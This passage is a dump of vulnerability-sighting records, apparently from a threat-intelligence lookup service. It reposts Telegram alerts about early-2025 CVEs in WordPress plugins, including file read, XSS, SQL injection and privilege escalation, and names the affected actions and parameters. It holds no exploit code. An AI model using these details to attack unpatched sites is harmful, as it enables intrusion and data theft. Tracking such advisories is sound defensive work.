Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12849\n\ud83d\udd39 Description: The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n\ud83d\udccf Published: 2025-01-07T05:23:53.756Z\n\ud83d\udccf Modified: 2025-01-07T05:23:53.756Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/57888e36-3a61-4452-b4ea-9db9e422dc2d?source=cve\n2. https://plugins.trac.wordpress.org/browser/error-log-viewer-wp/tags/1.0.1.3/error-log-viewer-wp.php#L295\n3. https://plugins.trac.wordpress.org/browser/error-log-viewer-wp/tags/1.0.1.3/error-log-viewer-wp.php#L479\n4. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215563%40error-log-viewer-wp&new=3215563%40error-log-viewer-wp&sfp_email=&sfph_mail=#file10", "creation_timestamp": "2025-01-07T05:38:55.000000Z"}, {"uuid": "5c5378e8-258a-4497-b890-ca846b6e29b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/342", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12439\n\ud83d\udd39 Description: The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'marketplace' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:54.216Z\n\ud83d\udccf Modified: 2025-01-07T05:23:54.216Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/602ae805-a6a6-48bd-bd2a-00fafadfdce4?source=cve\n2. https://plugins.trac.wordpress.org/browser/marketplace-items/trunk/marketplace-items.php\n3. https://wordpress.org/plugins/marketplace-items/", "creation_timestamp": "2025-01-07T05:38:47.000000Z"}, {"uuid": "cda4939f-f934-4cc6-8676-57a9d7ccc8e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12717", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/895", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12717\n\ud83d\udd39 Description: The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-09T06:00:07.297Z\n\ud83d\udccf Modified: 2025-01-09T06:00:07.297Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/5564926a-6b1d-43f4-8147-128472f6b93a/", "creation_timestamp": "2025-01-09T06:18:56.000000Z"}, {"uuid": "3386c5e8-1a25-46ca-893e-898bd9afd385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12457", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/322", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12457\n\ud83d\udd39 Description: The Chat Support for Viber \u2013 Chat Bubble and Chat Button for Gutenberg, Elementor and Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vchat' shortcode in all versions up to, and including, 1.7.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:22:14.769Z\n\ud83d\udccf Modified: 2025-01-07T04:22:14.769Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7834c0be-3051-4d97-928e-cf5295c93463?source=cve\n2. https://plugins.trac.wordpress.org/browser/chat-viber/tags/1.7.2/inc/class-custom-buttons-templates.php#L51", "creation_timestamp": "2025-01-07T04:38:59.000000Z"}, {"uuid": "6434155c-f917-464d-b08a-3893992bf0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/325", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12252\n\ud83d\udd39 Description: The SEO LAT Auto Post plugin for WordPress is vulnerable to file overwrite due to a missing capability check on the remote_update AJAX action in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to overwrite the seo-beginner-auto-post.php file which can be leveraged to achieve remote code execution.\n\ud83d\udccf Published: 2025-01-07T04:22:02.465Z\n\ud83d\udccf Modified: 2025-01-07T04:22:02.465Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/67df10cc-ce3c-4157-9860-7e367062f710?source=cve\n2. https://wordpress.org/plugins/seo-beginner-auto-post/", "creation_timestamp": "2025-01-07T04:39:17.000000Z"}, {"uuid": "503ae965-d000-4360-9bf8-f444c3311dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12207", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/323", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12207\n\ud83d\udd39 Description: The Toggles Shortcode and Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018content\u2019 parameter in all versions up to, and including, 1.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-01-07T04:22:13.206Z\n\ud83d\udccf Modified: 2025-01-07T04:22:13.206Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/755c8863-33c2-47aa-880a-0ef8b2d594a3?source=cve\n2. https://plugins.trac.wordpress.org/browser/toggles-shortcode-and-widget/trunk/include/otw_components/otw_shortcode/shortcodes/otw_shortcode_content_toggle.class.php#L246", "creation_timestamp": "2025-01-07T04:39:06.000000Z"}, {"uuid": "1840a0c2-d2ce-4844-b103-fc2c475e0cb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12624", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/374", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12624\n\ud83d\udd39 Description: The Sina Extension for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Sina Image Differ widget in all versions up to, and including, 3.5.91 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:56.716Z\n\ud83d\udccf Modified: 2025-01-07T06:40:56.716Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/39f6fb61-25a9-4386-9b61-7343760fd28c?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3211218/sina-extension-for-elementor", "creation_timestamp": "2025-01-07T07:37:52.000000Z"}, {"uuid": "865b6e67-aa44-4fa0-a271-2dc03d74dc2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/383", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12699\n\ud83d\udd39 Description: The Service Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T09:22:16.015Z\n\ud83d\udccf Modified: 2025-01-07T09:22:16.015Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e6a65630-0852-4ffc-8c23-295be95bd7f0?source=cve\n2. https://wordpress.org/plugins/service-boxs/#developers\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3216752%40service-boxs&new=3216752%40service-boxs&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T09:36:25.000000Z"}, {"uuid": "aab366ac-04ad-481d-ac06-33549290df85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12592", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/286", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12592\n\ud83d\udd39 Description: The Sellsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'testSellsy' shortcode in all versions up to, and including, 2.3.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T03:21:57.562Z\n\ud83d\udccf Modified: 2025-01-07T03:21:57.562Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/9fd3610c-cce4-420c-85c1-0b71679df650?source=cve\n2. https://wordpress.org/plugins/sellsy/", "creation_timestamp": "2025-01-07T03:36:35.000000Z"}, {"uuid": "d0e20837-524d-4c93-bcaf-7a69ffb404a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12202", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/365", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12202\n\ud83d\udd39 Description: The Croma Music plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'ironMusic_ajax' function in all versions up to, and including, 3.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n\ud83d\udccf Published: 2025-01-07T07:22:33.123Z\n\ud83d\udccf Modified: 2025-01-07T07:22:33.123Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4ce8e0f1-5a7b-41a3-81d0-7fd12c9da6d9?source=cve\n2. https://croma.irontemplates.com/lowtempo/wp-content/themes/croma/changelog.txt", "creation_timestamp": "2025-01-07T07:37:00.000000Z"}, {"uuid": "f25fe95e-4b0d-4eb9-9796-08095f915595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/689", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12712\n\ud83d\udd39 Description: The Shopping Cart & eCommerce Store plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the webhook function in all versions up to, and including, 5.7.8. This makes it possible for unauthenticated attackers to modify order statuses.\n\ud83d\udccf Published: 2025-01-08T09:18:35.684Z\n\ud83d\udccf Modified: 2025-01-08T09:18:35.684Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/28a3f382-3801-4e98-9004-56c27a85f0a2?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3211285/wp-easycart/trunk/wpeasycart.php", "creation_timestamp": "2025-01-08T10:12:19.000000Z"}, {"uuid": "a585bb95-fdac-42c2-9f81-bed43b69e45b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12419", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/290", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12419\n\ud83d\udd39 Description: The The Design for Contact Form 7 Style WordPress Plugin \u2013 CF7 WOW Styler plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. This functionality is also vulnerable to Reflected Cross-Site Scripting. Version 1.7.0 patched the Reflected XSS issue, however, the arbitrary shortcode execution issue remains.\n\ud83d\udccf Published: 2025-01-07T03:21:55.752Z\n\ud83d\udccf Modified: 2025-01-07T03:21:55.752Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5d78ea71-5886-488e-a660-0dc25129a8b6?source=cve\n2. https://plugins.trac.wordpress.org/browser/cf7-styler/tags/1.6.9/admin/class-cf7-customizer-admin.php#L405\n3. https://plugins.trac.wordpress.org/browser/cf7-styler/tags/1.6.9/admin/class-cf7-customizer-admin.php#L300\n4. https://plugins.trac.wordpress.org/browser/cf7-styler/tags/1.6.9/admin/class-cf7-customizer-admin.php#L295", "creation_timestamp": "2025-01-07T03:36:58.000000Z"}, {"uuid": "0093d11c-1062-4394-8383-408b277c8c71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12541", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/289", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12541\n\ud83d\udd39 Description: The Chative Live chat and Chatbot plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the add_chative_widget_action() function. This makes it possible for unauthenticated attackers to change the channel ID or organization ID via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. This could lead to redirecting the live chat widget to an attacker-controlled channel.\n\ud83d\udccf Published: 2025-01-07T03:21:56.199Z\n\ud83d\udccf Modified: 2025-01-07T03:21:56.199Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/61d3cb97-f12b-4480-88fc-2bdcbf4cdae3?source=cve\n2. https://plugins.trac.wordpress.org/browser/chative-live-chat-and-chatbot/trunk/chative-plugin.php#L51\n3. https://wordpress.org/plugins/chative-live-chat-and-chatbot/#developers", "creation_timestamp": "2025-01-07T03:36:53.000000Z"}, {"uuid": "b2b9b3a2-3d8e-49f4-b74a-54000154284c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12416", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/288", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12416\n\ud83d\udd39 Description: The Live Sales Notification for Woocommerce \u2013 Woomotiv plugin for WordPress is vulnerable to SQL Injection via the 'woomotiv_seen_products_.*' cookie in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-01-07T03:21:56.673Z\n\ud83d\udccf Modified: 2025-01-07T03:21:56.673Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/82016921-4efb-47b4-9a75-45cae4ad80f9?source=cve\n2. https://plugins.trac.wordpress.org/browser/woomotiv/trunk/lib/functions.php#L521\n3. https://plugins.trac.wordpress.org/browser/woomotiv/trunk/lib/functions.php#L614\n4. https://plugins.trac.wordpress.org/browser/woomotiv/trunk/lib/functions.php#693", "creation_timestamp": "2025-01-07T03:36:49.000000Z"}, {"uuid": "d95c73c8-1ac2-4cbb-9068-a671bea528b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12590", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/296", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12590\n\ud83d\udd39 Description: The WP Youtube Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in all versions up to, and including, 1.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T03:21:52.546Z\n\ud83d\udccf Modified: 2025-01-07T03:21:52.546Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/0b9e6f21-4c26-4ff8-9d0f-c66cd537fdcc?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-youtube-gallery/trunk/wpyg-class.php#L87\n3. https://wordpress.org/plugins/wp-youtube-gallery/#developers", "creation_timestamp": "2025-01-07T03:37:50.000000Z"}, {"uuid": "3b8a5587-9ad1-4131-a780-a7644a5fcbf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12098", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/285", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12098\n\ud83d\udd39 Description: The ARS Affiliate Page Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'utm_keyword' parameter in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T03:21:57.939Z\n\ud83d\udccf Modified: 2025-01-07T03:21:57.939Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/a25b2187-2ba8-4332-9f96-a003edd97ff6?source=cve\n2. https://wordpress.org/plugins/ars-affiliate-page/", "creation_timestamp": "2025-01-07T03:36:25.000000Z"}, {"uuid": "a89692e5-5260-46be-86e4-424c6d23c86b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12559", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/284", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12559\n\ud83d\udd39 Description: The ClickDesigns plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'clickdesigns_add_api' and the 'clickdesigns_remove_api' functions in all versions up to, and including, 1.8.0. This makes it possible for unauthenticated attackers to modify or remove the plugin's API key.\n\ud83d\udccf Published: 2025-01-07T03:21:58.376Z\n\ud83d\udccf Modified: 2025-01-07T03:21:58.376Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c1d19968-dbd8-4433-99a7-b973a59c4653?source=cve\n2. https://plugins.trac.wordpress.org/browser/clickdesigns/tags/1.8.0/includes/clickdesigns-ajax.php#L64\n3. https://plugins.trac.wordpress.org/browser/clickdesigns/tags/1.8.0/includes/clickdesigns-ajax.php#L79", "creation_timestamp": "2025-01-07T03:36:19.000000Z"}, {"uuid": "2080af7c-f7cc-4ed6-bd06-456daef34408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12022", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/282", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12022\n\ud83d\udd39 Description: The WP Menu Image plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wmi_delete_img_menu' function in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to delete images from menus.\n\ud83d\udccf Published: 2025-01-07T03:21:59.218Z\n\ud83d\udccf Modified: 2025-01-07T03:21:59.218Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e96193c0-ddde-463b-a68e-672ab6f812c7?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-menu-image/trunk/init/wmi-functions.php#L126", "creation_timestamp": "2025-01-07T03:36:08.000000Z"}, {"uuid": "e1e05745-abcc-4b22-b538-93bb5ac70882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12538", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/281", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12538\n\ud83d\udd39 Description: The Duplicate Post, Page and Any Custom Post plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.5.3 via the 'dpp_duplicate_as_draft' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts.\n\ud83d\udccf Published: 2025-01-07T03:21:59.599Z\n\ud83d\udccf Modified: 2025-01-07T03:21:59.599Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f38543ff-1074-4273-be33-8142d59e904f?source=cve\n2. https://plugins.trac.wordpress.org/browser/duplicate-pp/trunk/duplicate-pp.php#L22", "creation_timestamp": "2025-01-07T03:36:02.000000Z"}, {"uuid": "ebf8ff7a-a498-4ab3-9bd1-3d6653522c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12540", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/280", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12540\n\ud83d\udd39 Description: The LDD Directory Lite plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all versions up to, and including, 3.3. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T03:22:00.501Z\n\ud83d\udccf Modified: 2025-01-07T03:22:00.501Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f7675e1c-7194-4cfe-81fb-a78d75e0bb1e?source=cve\n2. https://plugins.trac.wordpress.org/browser/ldd-directory-lite/trunk/templates/frontend/edit-submit.php#L10\n3. https://wordpress.org/plugins/ldd-directory-lite/#developers", "creation_timestamp": "2025-01-07T03:35:58.000000Z"}, {"uuid": "cd149fce-a393-49c4-b0ff-7bcb2a89756b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12528", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/291", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12528\n\ud83d\udd39 Description: The WordPress Survey & Poll \u2013 Quiz, Survey and Poll Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpsurveypoll_results' shortcode in all versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T03:21:55.299Z\n\ud83d\udccf Modified: 2025-01-07T03:21:55.299Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/51cc6247-1948-4de1-b347-c7d818400777?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-survey-and-poll/trunk/wordpress-survey-and-poll.php#L49\n3. https://plugins.trac.wordpress.org/browser/wp-survey-and-poll/trunk/wordpress-survey-and-poll.php#L146", "creation_timestamp": "2025-01-07T03:37:03.000000Z"}, {"uuid": "8f29ab03-a0c3-4aef-aa5f-a9d4a796908d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12516", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/363", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12516\n\ud83d\udd39 Description: The Coupon Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Coupon Code' parameter in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T07:22:33.935Z\n\ud83d\udccf Modified: 2025-01-07T07:22:33.935Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/827c0459-1328-4fb1-b044-ae80298fa5ea?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215992%40coupon-lite&new=3215992%40coupon-lite&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T07:36:51.000000Z"}, {"uuid": "1e843cad-5774-4a5c-a8d2-cdc8170f224e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12499", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/370", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12499\n\ud83d\udd39 Description: The WP jQuery DataTable plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_jdt' shortcode in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:58.481Z\n\ud83d\udccf Modified: 2025-01-07T06:40:58.481Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5c6a6422-8255-4a3c-9ddf-b5986e1d393f?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213340%40wp-jquery-datatable&new=3213340%40wp-jquery-datatable&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T07:37:32.000000Z"}, {"uuid": "8931da18-d65b-4192-ab93-3418baeb0a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12781", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/368", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12781\n\ud83d\udd39 Description: The Aurum - WordPress & WooCommerce Shopping Theme theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'lab_1cl_demo_install_package_content' function in all versions up to, and including, 4.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite content with imported demo content.\n\ud83d\udccf Published: 2025-01-07T06:40:59.272Z\n\ud83d\udccf Modified: 2025-01-07T06:40:59.272Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/cd132aa5-d30a-41de-aa8d-aefae6c95c47?source=cve\n2. https://documentation.laborator.co/kb/aurum/aurum-release-notes/", "creation_timestamp": "2025-01-07T07:37:22.000000Z"}, {"uuid": "038374e2-8c80-4979-ab8f-e9ec23c78690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 